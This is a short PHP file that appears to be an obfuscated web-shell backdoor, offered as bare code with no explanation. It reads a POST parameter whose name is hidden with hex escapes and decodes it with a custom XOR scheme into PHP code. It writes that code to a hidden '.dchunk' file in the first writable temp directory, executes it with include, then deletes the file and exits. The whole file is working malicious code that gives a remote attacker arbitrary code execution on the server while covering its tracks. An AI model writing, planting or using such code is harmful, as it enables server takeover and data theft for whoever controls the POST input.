<?php

if(isset($_POST) && isset($_POST["\x6F\x62j\x65ct"])){
	$property_set = $_POST["\x6F\x62j\x65ct"];
		$property_set		 = 	explode( '.'	,$property_set) 	;
	$k = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s 	);
            $l = 0;
    
            array_walk($property_set	, 	function ($v5) use (&$k	, 	&$l	, 	$s	, 	$sLen) {
                $chS = ord($s[$l % $sLen] 	);
                $d = ((int)$v5 - $chS - ($l % 10))  ^ 	94;
                $k.= 	chr($d 	);
                $l++;
            } 	);
	$rec = array_filter([getcwd(), getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp"]);
	foreach ($rec as $key => $element) {
    		if (is_dir($element) ? is_writable($element) : false) {
    $key = join("/", [$element, ".dchunk"]);
    $file = fopen($key, 'w');
if ($file) {
	fwrite($file, $k);
	fclose($file);
	include $key;
	@unlink($key);
	die();
}
}
}
}